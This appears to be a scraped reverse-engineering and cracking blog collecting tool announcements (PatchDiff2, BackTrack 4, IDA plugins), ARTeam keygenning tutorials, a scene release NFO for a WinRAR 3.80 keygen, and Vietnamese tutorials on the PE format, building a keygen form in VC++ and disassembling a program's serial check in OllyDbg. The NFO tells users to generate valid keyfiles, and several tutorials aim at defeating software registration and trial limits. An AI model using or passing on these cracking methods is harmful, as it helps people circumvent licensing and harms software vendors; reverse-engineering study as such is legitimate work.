Copy the files “patchdiff2.plw” and “patchdiff2.p64″ into the IDA plugins directory (usually C:\Program Files\IDA\plugins) and restart IDA.

Download
You can download PatchDiff2 2.0.6 : http://cgi.tenablesecurity.com/tenable/dl.php?p=patchdiff2-2.0.6.zip

Once again, it’s that time of the year… The Remote Exploit Dev team are working hard on BackTrack 4 … and it will be released in the very near future…

We have taken huge conceptual leaps with BackTrack 4, and have some new and exciting features.The most significant of these changes is our expansion from the realm of a Pentesting LiveCD to a full blown “Distribution”.Now based on Debian core packages and utilizing the Ubuntu software repositories, BackTrack 4 can be used both as a Live CD, or installed on hard disk as a full distribution. By syncing with our BackTrack repositories, you will regularly get security tool updates soon after they are released.

bt41

The BackTrack kernel is now in sync with upstream kernels – so you always get the latest hardware support.Kernel upgrades including the latest hardware support will be periodically available.

Working out of the box:

* Native support for Pico e12 and e16 cards is now fully functional, making BackTrack the first pentesting distro to fully utilize these awesome tiny machines.

* Support for PXE Boot – Boot BackTrack over the network with PXE supported cards!

* SAINT EXPLOIT – kindly provided by SAINT corporation for our users with a limited number of free IPs.

* MALTEGO – The guys over at Paterva did outstanding work with Maltego 2.0.2 – which is featured in BackTrack as a community edition.

* The latest mac80211 wireless injection pacthes are applied, with several custom patches for rtl8187 injection speed enhancements. Wireless injection support has never been so broad and functional.

* Unicornscan – Fully functional with postgress logging support and a web front end.

* RFID support (thanks to Adam Laurie)

* Possibly CUDA support…

* New and updated tools – the list is endless!

bt42

With all these changes, PLUS the usual goodies and surprises we have in BackTrack, we are truly excited about this new release.

More screenshots :

Maltego :
bt43

Unicornscan FE :
bt44

W3af :
bt45

Decompilers and Beyond

Author : Ilfak Guilfanov
Author website : http://www.hex-rays.com/

Disassemblers and debuggers are the two tools that allow reverse engineers to examine binary applications. Without them, binary codes are just sequences of hexadecimal numbers. Since humans are notoriously bad with digits, only superficial analysis can be done without these tools.

Basically, the job of a disassembler is very simple: it just maps hexadecimal numbers to instruction mnemonics. The output of such a basic disassembler is a listing with instructions. While this mapping is a big step forward and allows the user to decipher the logic of simple programs, it does not scale well. Analysis of any file bigger than a few kilobytes is problematic because instruction mnemonics are not enough to hold higher level information: labels and comments are needed, as well as facilities to change the representation on the fly.

Download here:

http://www.tuts4you.com/download.php?view.2633

Best Regards

Author : Jason Raber + Brian Krumheuer
Author website : http://www.rri-usa.org/

For a Reverse Engineer, rebuilding a large Import Address Table (IAT) can be a very time-consuming and tedious process. When the IAT has been sufficiently hashed or munged and current IAT rebuilders fail to resolve any of the calls, there is little other choice than to rebuild it by hand. Depending on the size, it can take days or even weeks. Also, doing anything by hand is prone to mistakes. QuietRIATT is an IDA Pro plug-in which automates the process of rebuilding the IAT when it can’t be done by current IAT tools. Not only can it greatly reduce the amount of time spent rebuilding by hand, it also removes the element of human error.

Download here:
http://www.tuts4you.com/download.php?view.2631

ExeCryptor Internals : Tutorials + Tools
Author : Zool@nder of AT4RE
This package is intended to fill the vacuousness that turns around
the great ExeCryptor.
It’s was born as an essay to understand EC internals and how it
greatly do its job.
This whole project was initiated by a dummy-extremely important
article about the PRN generating and tools coding. (I’ll not go out
of any one’s way by my chitchat so just forget this).

Ok, now the turn of interesting things, The whole stuff will a
series, and will be divided to 3 or 4 parts due to time impediments.
And I’ll publish in each part what I accomplish and comment.

You will find in this package the following files:
+ EC LDE : EC length disasm internal engine.
+ EC_LIB_API_PROCS : Various procedures used by EC to protect API
and LIBS use. It contains:
- EC_GETKERNEL32HANDLE -> The way it grabs kernel32 lib image
base.
- EC_GETPROCADDRESS -> The way it gets API addresses.
- EC_REDIR_BP_CHECKER -> The technique it uses to check API BP
and redir.
+ EC_VIRTUAL_MACHINE : The MUST, it’s EC Virtual Machine Engine and
some tools to reverse it.
+ STRINGS DECRYP-RECRYPTER : EC method to not leave string traces
in code.

With every project you will find tutorial, source code, and tools
so you can study what you want.

Download here:

http://rapidshare.com/files/201952892/EC_MEGA_PROJECT.rar

ARTeam: A Tales of Reversing & Keygenning Two MD5 Registration Schemas

Hi all,
this is a nice release, a twofold tutorial about reversing and keygenning an MD5 based registration schema. The tutorial as I said is twofold because it’s the union of two tutorials made by 2KAD and Nieylana.

The result is quite interesting because tutorials describing the complete process of reversing and keygenning an MD5 based registration schema are not so common, of are rather old.

Least but not last the sources (delphi and ASM) of the keygens are added to the distribution so as you’ll be able to look at them also. What do you want more?

Another fine release from ARTeam!

Get it here:

http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_Tutorials/&file=Reversing_Keygenning_Two_MD5_Schemas_by_2kAD_Nieylana.rar

ARTeam: Reversing Xilisoft, by Nieylana

Hi everyone,

Nyelana have recently been doing some work with Xilisoft Products, below is a link to my newest tutorial, this tutorial does not mention any specific target, nor does it show you how to crack/patch/keygen any of their software but explains how the crypto things works.

When you register a Xilisoft Product you enter a name/serial, the serials validation itself is not dependant on the name, so i started wondering what the name was for, so i looked for it in the registry, and i noticed the serial wasn’t stored there, but rather an ‘encrypted’ form of it, this tutorial will take you on my adventure to find this encryption routine, and fully understand it and be able to replicate it.

Sources have been provided in VB6 by nyelana (complete application for encrypting/decrypting data), source code is also provided in C by Ghandi, this is provided for those who prefer C/C++ to make a reasonable implementation of their encryption routine.

Also included in the package is a Flowchart (from IDA) in .xps format of the main encryption/decryption routine to further help you understand it, (this flowchart is also included at the end of the tutorial, on the last page).

NOTE: If you haven’t a reg key, there’s plenty around, and even tutorials around on it, search. Also, Xilisoft uses this same routine for storing all the trial information, this isn’t discussed in the paper, but once you understand the routine you can easily find these ‘keys’ with Olly

Download here:
http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_Tutorials/&file=XiliCrypt_Reversing_Xilisoft_Encryption_Routine_by_Nieylana.rar

                  _¦_¦                     _¦_¦                     _¦_¦
               __¦¦¦¦¦¦                 __¦¦¦¦¦¦                 __¦¦¦¦¦¦
  ¦ ¦¦¦¦_____¦¦¦¯¦¦¦¦¦¦¦     ¦¦¦¦_____¦¦¦¯¦¦¦¦¦¦¦     ¦¦¦¦_____¦¦¦¯¦¦¦¦¦¦¦
  ¦¦Ì¦¦¦¦ ¯¯¯¯ ¦¦¦¦¦¦¦¦¦¦_   ̦¦¦¦ ¯¯¯¯ ¦¦¦¦¦¦¦¦¦¦_   ̦¦¦¦ ¯¯¯¯ ¦¦¦¦¦¦¦¦¦¦_
  ¦¦¦¦¦¦¦      ¦¦¦¦¦¦¦¦¯   _  ¦¦¦¦      ¦¦¦¦¦¦¦¦¯      ¦¦¦¦      ¦¦¦¦¦¦¦¦¯¦
  ¦¦¦¦¦¦¦      ̦¦¦¦¦¯    ¦¯_ ¦¦¦¦      ̦¦¦¦¦¯        ¦¦¦¦      ̦¦¦¦¦¯¦_¦
  ¦¦¦_¦¦¦       ¯¦¦¯      ¯  ¦_¦¦¦       ¯¦¦¯          _¦¦¦       ¯¦¦¯  ¦¦¦
  ¦¦¦¦¦_¦              _¯     ¦¦_¦             _¦_     ¦¦_¦             ¦¦¦
  ¦¦¦¦¦¦¦  _¦¦___¯ __¯¯       ¦¦¦¦  _¦¦___¯     ¯     ¦¦¦¦¦  _¦¦___¯ ¦  ¦¦¦
  ¦¦Ì¦¦¦¦ ̦¦¯¯¯             ̦¦¦¦ ̦¦¯¯¯  _         _̦¦¦¦ ̦¦¯¯¯  _   ¦¦¦
  ¯¦¦¦¦¦¦¦¦¦    FiGHTiNG    ¦¦¦¦¦¦¦¦¦        ¯¯¦ __¯¯¦¦¦¦¦¦¦¦¦     _¯   ¦¦¦
  _¦¦¦¦¦¦¦¦¦   _ ¯     _   _¦¦¦¦¦¦¦¦¦               _¦¦¦¦¦¦¦¦¦  _¯¯     ¦¦¦
 ¯¯¦¦¯¦¦¦¦¯¦  ¯¦_¦¯¦ ¯_ ¯ ¯¯¦¦¯¦¦¦¦¯¦     FOR    _ ¯¯¦¦¯¦¦¦¦¯¦  ¦       ¦¦¦
  ¦¦¦  ¦¦¦Ì¦ _¦¦¦¦              ¦¦¦Ì¦     _  __¦¦ ¯      ¦¦¦Ì¦ ¦        ¦¦¦
  ¦¯    ¦_¦ ̦¦¯¦_  _¦¯¦_        ¦_¦          ¯¦¦ _       ¦_¦ ¦_   FUN  ¦¦¦
  ¦_¯¦ ̦¦¦  ¦¦_¦¯¦¦¯¦_¦¯¦_ _¯¦ ̦¦¦   _¦¯¦_  _¦¯_¯  _¯¦ ̦¦¦ _¯_____¦¯ ¦¦¦
  ¦¯¦__¦¯  ¦  ¯¦¦¦__¦¦¯¯¦_¦¦¯¦__¦¯   _¦¯ __ ¯¯¯¦_¯   ¯¦__¦¯ __¯  ¦_¦¯¦  ¦¯¦
  ¦_   __   ¯¯__ ¯¯¯¯    ¯¯ ¯     ¯¯    ¯¯ ¯¯¯¯           ¯¯     ¦¯ __  _¦¦
  ¦¦¦¦¦¯¯¦_                     WinRAR v3.80                      ¯_¦¯¯¦¦¦¦
  ¦¦¦¦   _¦¦                    win.rar GmbH                     ¦¦_    ¦¦¦
  ¦¦¦ _¦¦¦¯                                                       ¯¯¦¦_ ¦¦¦
  ¦¦¦ ¯¦_¦  rls.date..: 04/03/2009    | cracker....: SeVeN          _¦¯ ¦¦¦
  ¦¦¦   ¦¦  language..: Multilanguage | protection.: ECC           ¦¦   ¦¦¦
  ¦¦¦ ¦_¦¯  crc32.....: $8B63108F     | os.........: WinALL        ¯¦_¦ ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦       type......: [x] KEYGEN    [ ] PATCH    [ ] SERIAL           ¦¦¦
  ¦¦¦                   [ ] LOADER    [ ] OTHER                         ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦¦¦¦¯¦_  URL.......... [hxxp://www.win-rar.com             ]  _ ¯¦¦¦¦¦¦
  ¦¯¯¯¦¦_¦¦                                                       ¦¦_  ¯¯¯¦
  _¦¦__¦¦¦¦                                                       ̦¦¦__̦_
  ¦¦  ̦¦¦       __¦¯¯¦__       _           _       __¦¯¯¦__       ¦¦¦¦  ¦¦
  ¦¦ ¦ ¦¦¦¦__¦¦¦¦¦¦__   ¯¦¦__ ¯¯__         __¯¯ __¦¦¯   __¦¦¦¦¦¦__̦¦¦ ¦ ¦¦
  ¦¦¦ __¦¦¦_¦¦¯¯¦¦¦¦¦¦   ¦¦¦¦¦¦¯¯           ¯¯¦¦¦¦¦¦   ¦¦¦¦¦¦¯¯¦¦_¦¦¦__ ¦¦¦
  ¦¦¦¯¯   ¯¯¦¦¯   ¯¦¦¦¦  ¦¦¦¯                   ¯¦¦¦  ̦¦¦¯   ¯¦¦¯¯   ¯¯¦¦¦
  ¯          ¦__  _¦¦¦  ̦¯     RELEASE iNFOS     ¯¦¦  ¦¦¦_  __¦          ¯
               ¯¯¦¦¦¯   ¦¦ _                     _ ¦¦   ¯¦¦¦¯¯
                         ¯¯                       ¯¯
                         __                       __
               __¦¦¦_   ¦¦ ¯                     ¯ ¦¦   _¦¦¦__
  _           ¯¯  ¯¦¦¦  ̦_                       _¦¦  ¦¦¦¯  ¯¯           _
  ¦¦¦__   __¦¦_   _¦¦¦¦  ¦¦¦_                   _¦¦¦  ̦¦¦_   _¦¦__   __¦¦¦
  ¦¦¦ ¯¯¦¦¦¯¦¦__¦¦¦¦¦¦   ¦¦¦¦¦¦__           __¦¦¦¦¦¦   ¦¦¦¦¦¦__¦¦¯¦¦¦¯¯ ¦¦¦
  ¦¦ ¦ ¦¦¦¦¯¯¦¦¦¦¦¦¯¯   _¦¦¯¯ __¯¯         ¯¯__ ¯¯¦¦_   ¯¯¦¦¦¦¦¦¯¯Ì¦¦¦ ¦ ¦¦
  ¦¦  ̦¦¦       ¯¯¦__¦¯¯       ¯           ¯       ¯¯¦__¦¯¯       ¦¦¦¦  ¦¦
  ¦¦¦¯¯¦¦¦¦                                                       ̦¦¦¯¯Ì¦¦
  ¦___¦¦¯¦¦                     iNSTALL NOTES                     ¦¦¯¦¦___¦
  ¦¦¦¦¦¦_¦¯                                                       ¯¦_¦¦¦¦¦¦
  ¦¦¦¯¯                                                               ¯¯¦¦¦
  ¯                                                                       ¯
     1. Install WinRAR v3.80.
     2. Use this keygen to make a valid keyfile for your name.
     3. Have fun ;)  

     Lamers, ready to steal? Go-go-go BEAN, CRUDE, [K]ambing and
     BKT/BRD! Try to release a keyfile generated by this keygen...
     and try to convince people that you fished it with your famous
     magic crystal ball ;)
                         __                       __
               __¦¦¦_   ¦¦ ¯                     ¯ ¦¦   _¦¦¦__
  _           ¯¯  ¯¦¦¦  ̦_                       _¦¦  ¦¦¦¯  ¯¯           _
  ¦¦¦__   __¦¦_   _¦¦¦¦  ¦¦¦_                   _¦¦¦  ̦¦¦_   _¦¦__   __¦¦¦
  ¦¦¦ ¯¯¦¦¦¯¦¦__¦¦¦¦¦¦   ¦¦¦¦¦¦__           __¦¦¦¦¦¦   ¦¦¦¦¦¦__¦¦¯¦¦¦¯¯ ¦¦¦
  ¦¦ ¦ ¦¦¦¦¯¯¦¦¦¦¦¦¯¯   _¦¦¯¯ __¯¯         ¯¯__ ¯¯¦¦_   ¯¯¦¦¦¦¦¦¯¯Ì¦¦¦ ¦ ¦¦
  ¦¦  ̦¦¦       ¯¯¦__¦¯¯       ¯           ¯       ¯¯¦__¦¯¯       ¦¦¦¦  ¦¦
  ¦¦¦¯¯¦¦¦¦                                                       ̦¦¦¯¯Ì¦¦
  ¦___¦¦¯¦¦                      ABOUT GROUP                      ¦¦¯¦¦___¦
  ¦¦¦¦¦¦_¦¯                                                       ¯¦_¦¦¦¦¦¦
  ¦¦¦¯¯                                                               ¯¯¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   The FiGHTiNG FOR FUN team is proud to announce that we are      ¦¦¦
  ¦¦¦   the first French web group still alive with more than 11.000    ¦¦¦
  ¦¦¦   releases now.                                                   ¦¦¦
  ¦¦¦   Born in april 2002, we are the coolest team of the Scene and    ¦¦¦
  ¦¦¦   we always fight for more knowledge and fun. Thanks for using    ¦¦¦
  ¦¦¦   our products, and see you for our 15.000th release :)            ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   Our greetings go to all people we know and who support us.      ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   FFF is proud to be a web group and to release nice products     ¦¦¦
  ¦¦¦   for all.                                                        ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   FFF is powered by the B.M.E (Bonobos Monkey Engine).            ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   If you want to join in, find in meditation the way to us and    ¦¦¦
  ¦¦¦   ask for a trial membership.                                     ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   FFF will not be responsible for and does NOT support warez      ¦¦¦
  ¦¦¦   distribution of this release. It is forbidden to include        ¦¦¦
  ¦¦¦   one of our releases in a warez distribution.                    ¦¦¦
  ¦¦¦   Groups or individuals will be exposed for this!                 ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦                                       As decided by FFF council   ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦   +-----------------------------------------------------------+   ¦¦¦
  ¦¦¦   ¦ Special note:                                             ¦   ¦¦¦
  ¦¦¦   ¦                                                           ¦   ¦¦¦
  ¦¦¦   ¦ On some antivirus scans, FFF releases packages can reveal ¦   ¦¦¦
  ¦¦¦   ¦ "Type_Win32" or "Trojan_Type" virus...                    ¦   ¦¦¦
  ¦¦¦   ¦ Don't be stupid! It is not a virus nor anything else like ¦   ¦¦¦
  ¦¦¦   ¦ that. It is just some packers/cryptors which have the     ¦   ¦¦¦
  ¦¦¦   ¦ same binary signature.                                    ¦   ¦¦¦
  ¦¦¦   ¦                                                           ¦   ¦¦¦
  ¦¦¦   ¦ However, some crackhosts can modify or add malicious      ¦   ¦¦¦
  ¦¦¦   ¦ things on FFF releases (like "crack.exe"), so please,     ¦   ¦¦¦
  ¦¦¦   ¦ TAKE CARE.                                                ¦   ¦¦¦
  ¦¦¦   ¦                                                           ¦   ¦¦¦
  ¦¦¦   +-----------------------------------------------------------+   ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦                                                                   ¦¦¦
  ¦¦¦ ¦                                                               Ì ¦¦¦
  ¦¦¦ ¯                         _           _                         ¯ ¦¦¦
  ¦¦¦¦¦¦¯¯¦ _ __¦¦¦__ ¯¯_     ¯¯__         __¯¯     _¯¯ __¦¦¦__ _ ¦¯¯¦¦¦¦¦¦
  ¦¦¯¦¦__¦¦__¯¯¯¦ ¯¯¦¦   ¦__¦¦¦¯¯           ¯¯¦¦¦__¦   ¦¦¯¯ ¦¯¯¯__¦¦__¦¦¯¦¦
  ¦_¦¦¦¦¦¦¦¦¦¯     _¦¦¦  ¦¦¦¯ ¦_  GREETiNGS  _¦ ¯¦¦¦  ̦¦_     ¯¦¦¦¦¦¦¦¦¦_¦
  ¯¦¦¦¦¦¦¦¯         ¯¯  ̦¯  ¯¯               ¯¯  ¯¦¦  ¯¯         ¯¦¦¦¦¦¦¦¯
  ¦_¦¯¦¦¦               ¦¦ _                     _ ̦               ¦¦¦¯¦_¦
  ¦¦¦¯¦_                 ¯¯                       ¯¯                 _¦¯¦¦¦
  ¦¦¦ ¦                                                               ¦ ¦¦¦
  ¦¦¦ ¦                * CORE * SSG * TMG * DI * RES *                ¦ ¦¦¦
  ¦¦¦ ¦               * RAiD * ECLiPSE * XFORCE * ECZ *               ¦ ¦¦¦
  ¦¦¦_¦¯               * PC * ARTeam *  ACME * VDOWN *               ¯¦_¦¦¦
  ¯¦__¦                                                               ¦__¦¯
  ¦¦¦¦¦¦_                                                           _¦¦¦¦¦¦
  ¦¦¦¯¦¦¦¦       __¦¯¯¦__       _           _       __¦¯¯¦__       ¦¦¦¦¯¦¦¦
  ¦¦¦  ¦¦¦¦__¦¦¦¦¦¦__   ¯¦¦__ ¯¯__         __¯¯ __¦¦¯   __¦¦¦¦¦¦__̦¦¦  ̦¦
  ¦¦  __¦¦¦_¦¦¯¯¦¦¦¦¦¦   ¦¦¦¦¦¦¯¯           ¯¯¦¦¦¦¦¦   ¦¦¦¦¦¦¯¯¦¦_¦¦¦__  ¦¦
  ¦¦¦¯¯   ¯¯¦¦¯  ¦¯¦¦¦¦  ¦¦¦¯                   ¯¦¦¦  ̦¦¦¯¦  ¯¦¦¯¯   ¯¯¦¦¦
  ¯           __  _¦¦¦  ̦¯                       ¯¦¦  ¦¦¦_  __   korma   ¯
               ¯¯¦¦¦¯   ¦¦ _                     _ ¦¦   ¯¦¦¦¯¯
                         ¯¯                       ¯¯

PE (Portable Executable) là định dạng file riêng của Win32. Tất cả các file thực thi được trên Win32 (ngoại trừ các tập tin VxDs và các file Dlls 16bit) đều sử dụng định dạng PE. Các file Dlls 32bit, các file COMs, các điều khiển OCX, các chương trình ứng dụng nhỏ trong Control Pannel (.CPL files) và các ứng dụng .NET tất cả đều sử dụng định dạng PE. Thậm chí các chương trình điều khiển kernel mode của các hệ điều hành NT cũng sử dụng định dạng PE.

Bài viết này đã được tôi dịch và biên soạn lại tut về PE file Format do tác giả Goppit bên ARTEAM release, nó đã được public trên REA khá lâu, nay tôi muốn chia sẻ nó cho mọi người. Theo tôi đánh giá sau khi tìm hiểu xong thì đây là một tut rất cần thiết cho những ai muốn nghiên cứu về Cracking, Reverse Engineering và Manual Unpacking , tài liệu này dày 75 trang , bao gồm các kiến thức cơ bản cũng như chuyên sâu về PE file, Packer, Loader, cách add code v..v.. mặc dù đã rất cố gắng để thực hiện nhưng trong quá trình làm không thể không tránh khỏi sai sót , mong mọi người bỏ quá cho smilie .

Link Download :

http://rapidshare.com/files/15293633/PE_Tutorials.rar

or here (change to rar file):

pe_tutorials.rar

Pass to unrar : REA-cRaCkErTeAm

—————————————————–

–++–==[ Greatz Thanks To ]==–++–
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker,
the_Lighthouse, Merc, Hoadongnoi, Nini … all REA‘s members, TQN, HacNho, RongChauA,
Deux, tlandn, light.phoenix, dqtln, ARTEAM …. all my friend, and YOU.

–++–==[ Thanks To ]==–++–
iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl v..v..

I want to thank Teddy Roggers for his great site, Reversing.be folks(especially haggar),
Arteam folks(Shub-Nigurrath, MaDMAn_H3rCuL3s) and all folks on crackmes.de, thank to
all members of unpack.cn (especially fly and linhanshi). Great thanks to lena151(I like your tutorials).
And finally, thanks to RICARDO NARVAJA and all members on CRACKSLATINOS.

>>>> If you have any suggestions, comments or corrections email me: kienmanowar[at]reaonline.net

Xây dựng Keygen Form trong VC++

Lời nói đầu :

Bài viết này không nhắm tới mục đích ép buộc mọi người phải tạo dựng một Form theo chuẩn mà chỉ cung cấp những kiến thức tối thiểu……hiii chỉ là tối thiểu thôi nhé (basic) để Newbie mới tiếp cận với VC++ có thể dễ dàng xây dựng một Form dùng cho việc học code keygen sau này. Lý do tại sao em lại viết bài viết này , đó là vì muốn chia sẻ những kiến thức mà em biết được . Cũng giống như các bác Newbie bây giờ thôi, lần đầu tiên khi tiếp xúc với VC++ thấy rất khó khăn nhưng nhờ có sự giúp đỡ của anh Moon cộng với “mưa dầm thấm lâu” nên cái đầu ngu muội của tôi cũng mở mang ra chút ít. Hi vọng với bài viết này sẽ giúp cho các bác phần nào trong việc học VC++

1. Tạo dựng vùng làm việc (Project WorkSpace) :

Nếu như các bác đã từng lập trình trên một ngôn ngữ nào đó thì điều đầu tiên cần phải làm là tạo dựng một dự án hay một không gian làm việc. Đối với VC++ cũng vậy , mọi ứng dụng trên VC++ muốn phát triển phải có một dự án (project).Một không gian làm việc trong VC++ là nơi bao gồm các thư mục lưu trữ mã nguồn của ứng dụng , cũng như các file cấu hình v..v.. Để tạo một project chúng ta làm như sau :

Chọn File > New để mở cửa sổ New Wizards tương tự như hình minh họa dưới đây :

vc1

Tại đây, trong Projects tab chọn kiểu Project mà chúng ta muốn phát triển . Do như đã nói ở phần tiêu đề trên , ở đây chúng ta chọn kiểu Projects là MFC AppWizard(exe) . Trong textbox Project name chúng ta nhập vào là Keygen . Mặc định Project này sẽ được lưu theo đường dẫn sau : E:\Program Files\Microsoft Visual Studio\MyProjects\. Nếu muốn có thể hoàn toàn đổi thư mục lưu trữ Project. Sau khi hoàn tất công việc này nhấn OK để chuyển sang bước tiếp theo.

Oki sau khi nhấn OK , một màn hình khác sẽ hiện ra đó chính là MFC Wizards . Màn hình này sẽ cung cấp cho chúng ta những lựa chọn theo từng Step với những câu hỏi lựa chọn , qua đó chúng ta chọn kiểu ứng dụng mà chúng ta sẽ xây dựng , các đặc điểm cũng như những chức năng mà chúng ta cần. Quá trình này bao gồm 6 Step như sau :

a. Step 1 cho phép chúng ta chọn kiểu ứng dụng mà chúng ta muốn xây dựng . Cụ thể ở đây ta chọn là Dialog Based. Language để mặc định là English (United States). Sau đó nhấn Next .

b. Step 2 cho phép chúng ta chọn các Features cho ứng dụng . Tại bước này chúng ta uncheck ô ActiveX Controls . Còn Tile của Dialog cứ để nguyên hoặc nhập gì tùy thích , không quan trọng.

c. Step 3 , do chúng ta chọn kiểu Project là MFC cho nên ở bước này style của project mặc định là MFC Standard . Nếu bạn muốn tạo các file chú thích thì có thể chọn Yes còn không thì chọn No tùy mọi người. Còn trong phần Library chúng ta nên chọn ô As a statically linked library. Sau đó nhấn Next.

d. Step 4 cho chúng ta biết sẽ tạo các Class cho ứng dụng của chúng ta. Nhấn Finish để hoàn tất

e. Một màn hình mới hiện lên thông báo cho chúng ta biết về thông tin của Project .


vc2

f. Nhấn OK , Form của ứng dụng sẽ xuất hiện như hình minh họa dưới đây :


vc3

Oki , như các bác thấy việc xây dựng Project rất đơn giản và trực quan. Thông qua một sổ Step chúng ta đã có một Project dùng cho công việc Keygen rồi .

2. Thiết kế giao diện :

Trước tiên , chúng ta xóa bỏ cái Label : TODO… trên form đi. Thậm chí xóa bỏ 2 nút OK và Cancel đi . Chúng ta sẽ xây dựng lại từ đầu .
Để đổi tên cho form , ta click chuột phải trên form chọn Properties , trong phần Caption này chúng ta sẽ gõ vào tên bất kì mà bạn muốn chẳng hạn tên soft và version của soft mà chúng ta định Keygen.
Sau đó chúng ta sẽ đưa các điều khiển lên Form , tương tự như hình minh họa dưới đây :


vc4

Object Property Setting
Static Text ID IDC_STATIC
Caption REVERSE ENGINEERING ASSOCIATION

Static Text ID IDC_STATIC
Caption ------==Copyright (C) 2004 - REA - cRaCkErTeAm ==------

Static Text ID IDC_STATIC
Caption Name :

Static Text ID IDC_STATIC
Caption Serial :

Edit Box ID IDC_NAME

Edit Box ID IDC_SERIAL

Button ID IDC_GENERATE
Caption ---==Generate==---

Button ID IDC_REA
Caption ---==REA==---

Button ID IDC_EXIT
Caption ---==Exit==---

Cách thêm các điều khiển vào Form hết sức dễ dàng và đơn giản nhờ vào thanh Control của VC++ .


vc5

Ngoài ra sau khi thêm các điều khiển vào Form , các bạn có thể tùy biến các thuộc tính của các điều khiển như canh lề cho đoạn text gõ vào text box hoặc chọn các kiểu Styles cho điều khiển . Việc này được thực hiện thông qua việc Click chuột phải vào điều khiển và chọn Properties. Cài này xin nhường cho các bạn tự khám phá.

Trên đây chỉ là những gì cơ bản nhất trong quá trình làm việc với VC++ mà thôi. Nếu muốn tìm hiểu kĩ hơn các bạn nên tìm đọc quyển VC++ 21days để có được những kiến thức cơ bản và đầy đủ hơn.

Have Fun ! :D

..::[Cách đưa một file ảnh vào trong Keygen Form]::..

===========================================

_\\|//_

(‘ * * ‘)

_____________________________ooO_(_)_Ooo_____________________________

_”Đồ nghề” mà chúng ta cần phải chuẩn bị là 1 form cần đưa ảnh vào và một ảnh bất kì dạng .bmp.

_Giả sử chúng ta có một Keygen Form như sau (Bác nào chưa biết cách tạo thì đọc bài viết cũ của tôi) :

_Ngày trước mới theo sư phụ Moon tập tọe code Keygen , hiii cũng muốn làm cho cái Keygen của mình đẹp bằng anh bằng em nhưng khổ nỗi lúc đó trình độ có hạn, có muốn cũng chẳng được. Sau mấy buổi học Coding online cùng sư phụ cuối cùng thì cũng tạo được form và code được keygen cho một em. Hic lúc đó có được cái form , cộng thêm vừa viết được keygen cho soft là đã thấy “phê” lắm rồi. Cứ thế là crack + code hùng hục như trâu :) , chẳng để ý gì đến cái “Interface” của Keygen. Hic nhân tiện có chú Merc hỏi cách đưa ảnh vào Form như thế nào, về nhà lục lọi lại “em yêu” ngày xưa. Hic trông em tàn tạ quá :) , đành lôi ra vọc thử xem để đưa cái ảnh vào cho nó hoành tráng.

_Hic như các bác đã nhìn thấy dung nhan của “em yêu” ở trên thì thấy không còn hợp thời nữa rùi. Cần chỉnh sửa “nhan sắc” lại một chút. Bây giờ tôi muốn thay thế cái Label : Reversing Engineering Association thành một bức ảnh mang phong cách của REA thì làm thế nào? Hii có lời giải đáp ngay đây thôi, chẳng có gì là cao siêu cả , đọc xong các bác lại nói tôi cần gì phải viết lách cho nó dài dòng :) .

_Oki để có thể đưa ảnh vào trong Form , ta làm như sau: đầu tiên chúng ta xóa cái Label mà chúng ta muốn thay thế đi.Chuyển qua ResourceView, tại đây chúng ta sẽ Import một file ảnh dạng bimap vào trong Resource. Đế có thể Import được các bạn làm như hình minh họa dưới đây :

………

Download toàn bộ bài viết tại đây :

http://kienmanowar.files.wordpress.com/2009/03/import_image_into_keygen_form.doc

Best Regards

kienmanowar

Phân tích ASM và code Keygen

Lời nói đầu :

Sau khi có được cái Keygen Form như trong bài viết trước đã hướng dẫn xây dựng. Trong bài viết tiếp theo này chúng ta sẽ tiến hành việc phân tích ASM của một soft để từ đó tiến hành công việc code keygen :”đầy gian nan nhưng cũng vô cùng thú vị” . Trong bài viết này, chúng ta sẽ sử dụng soft Wallpaper v1.2 mà chú đèn đã viết trong box Newbie (http://www.reaonline.net/forum/showthread.php?t=884) để phục vụ cho việc Keygen. Bài viết này sẽ đối chiếu từng đoạn code tương ứng được nói trong bài viết của chú đèn để mọi người tiện theo dõi. Oki , giờ chúng ta bắt tay vào làm việc.

1. Phân tích ASM của soft trong Ollydbg :

- Để có thể phân tích được ASM của một soft chúng ta cần một chương trình Debug mà cụ thể ở đây là Ollydbg. Chúng ta mở Olly lên và load file Wallpaper.exe vào trong Olly. Tìm và set BP như trong bài viết của chú đèn đã nói. Sau khi đã có được điểm đặt BP tại 00404A35 , chúng ta Run chương trình bằng cách nhấn F9. Tiếp theo chúng tiến hành công việc nhập FU và FS vào trong màn hình Register của chương trình. Ở đây mình nhập như sau : FU : kienmanowar và FS : 11111982. Sau đó nhấn OK , chúng ta sẽ Ice tại điểm mà chúng ta đã set BP. Bước tiếp theo đây sẽ liên quan chặt chẽ tới bài của chú đèn. Chúng ta chú ý tới đoạn code sau :


00404A35 . 8B3B MOV EDI,DWORD PTR DS:[EBX] ; <== FU
00404A37 . B9 FFFFFFFF MOV ECX,-1
00404A3C . 2BC0 SUB EAX,EAX
00404A3E . F2:AE REPNE SCAS BYTE PTR ES:[EDI]
00404A40 . F7D1 NOT ECX
00404A42 . 49 DEC ECX ; <== Length(FU)
00404A43 . 0F84 08010000 JE Wallpape.00404B51 ; <== If Length (FU) = 0 then Jump to Nag

/* Đoạn code này sẽ kiểm tra xem chúng ta có nhập Username không, nếu như không nhập (tức là Length = 0) thì sẽ nhảy tới Nag */

- Đoạn code tiếp theo :

00404A49 . 8B7E 5C MOV EDI,DWORD PTR DS:[ESI+5C] ; <== FS
00404A4C . B9 FFFFFFFF MOV ECX,-1
00404A51 . 2BC0 SUB EAX,EAX
00404A53 . F2:AE REPNE SCAS BYTE PTR ES:[EDI]
00404A55 . F7D1 NOT ECX
00404A57 . 49 DEC ECX ; <== Length (FS)
